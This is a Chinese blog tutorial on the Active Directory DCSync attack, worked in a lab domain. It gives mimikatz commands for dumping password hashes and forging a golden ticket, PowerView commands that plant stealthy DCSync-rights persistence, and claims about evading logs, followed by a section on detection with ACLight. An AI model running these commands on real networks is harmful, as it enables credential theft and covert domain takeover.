首页 > 其他 > 详细

DCSync

时间:2020-11-03 15:12:31      阅读:51      评论:0      收藏:0      [点我收藏+]

0x01 概述

krbtgt账户:每个域控制器都有一个“krbtgt”的用户账户,是KDC的服务账户,用来创建票据授予服务(TGS)加密的密钥。
黄金票据(Golden Ticket):简单来说,它能让黑客在拥有普通域用户权限和krbtgt hash的情况下,获取域管理员权限。
dcsync:mimikatz中的功能,可以有效地“假冒”一个域控制器,并可以向目标域控制器请求帐户密码数据。

在域中,不同的DC之间,每隔15分钟会进行一次域数据的同步。当一个DC(辅助DC)想从其他DC(主DC)获取数据时,辅助DC会向主DC发起一个GetNCChanges请求。请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync就是利用的这个原理,通过Directory Replication Service(DRS)服务的GetNCChanges接口向域控发起数据同步请求。

在DCSync功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。2015年8月,新版的mimikatz增加了DCSync的功能,该功能可以模仿一个域控DC,从真实的域控中请求数据,如用户的哈希。该功能最大的特点就是可以实现不登录到域控而获取域控上的数据。

0x02 用DCSync导出域内所有用户Hash

利用条件:获得以下任一的权限

Administrators组内的用户
Domain Admins组内的用户
Enterprise Admins组内的用户
域控制器的计算机帐户

privilege::debug

#导出指定用户的信息(包括哈希)
lsadump::dcsync /domain:0day.org /user:administrator
lsadump::dcsync /domain:0day.org /user:administrator /csv

技术分享图片

0x03 获取域管理权限

这里我们使用一个普通域用户运行mimikatz
技术分享图片

可以看到是不存在票据的
技术分享图片
然后我手动创建了一张域管理的黄金票据:

kerberos::golden /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /admin:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /ticket:administrator.ticket.bin

技术分享图片

然后再使用这张票据
技术分享图片

然后我的低权限本地用户,就被提升到域管理权限了

技术分享图片

技术分享图片

0x04 利用dcsync功能获取hash

然后我通过DRSR协议,从域控制器获取用户jack的hash:

lsadump::dcsync /user:jack /domain:0day.org
技术分享图片

伪造的信息大约可以生效20分钟左右,在此期间不会被系统检查到。

如果我们没有足够的权限(比如域管理)来查询带DRSR的域控制器,我们会得到error 5(权限不足)的提示

如果你使用kerberos::dcsync去提升到域管理权限,是不会记录事件日志的

0x05 使用DCSync权限维持

当我们获得了域内管理员权限,如果我们能修改域内普通用户的权限,使其具有DCSync权限的话,那么普通域用户也能导出域内用户的哈希了!这样可以做一个隐蔽的权限维持!

那么如何修改域内普通用户的权限,使其具有DCSync权限呢?如下,向域内普通用户添加如下三条ACE(Access Control Entries):

DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
我们可以使用Empire下的 powerview.ps1 脚本执行命令添加以上三条ACE。

#给域用户jerry添加以上三条ACE
Add-DomainObjectAcl -TargetIdentity "DC=0day,DC=org" -PrincipalIdentity jerry -Rights DCSync -Verbose

在域内一台登录了jerry用户的主机上面,直接使用mimikatz的DCSync功能

技术分享图片

#给域用户jerry删除以上三条ACE
Remove-DomainObjectAcl -TargetIdentity "DC=0day,DC=org" -PrincipalIdentity jerry -Rights DCSync -Verbose

再来获取
技术分享图片

0x06 自动化检测DCSync后门的方法

具有高权限但不在高权限组的用户被称之为Shadow Admin,例如前面的域用户jerry,仅通过查询高权限组的成员无法发现域内的Shadow Admin。

检测原理:

枚举Active Directory中所有用户的ACL,标记出特权帐户。

实现代码:

https://github.com/cyberark/ACLight

利用条件:

· Powershell v3.0。

· 域内普通用户权限。

检测方法:

执行项目中的Execute-ACLight2.bat

技术分享图片

然后在result生成新文件查看
技术分享图片

DCSync

原文:https://www.cnblogs.com/yicunyiye/p/13920026.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!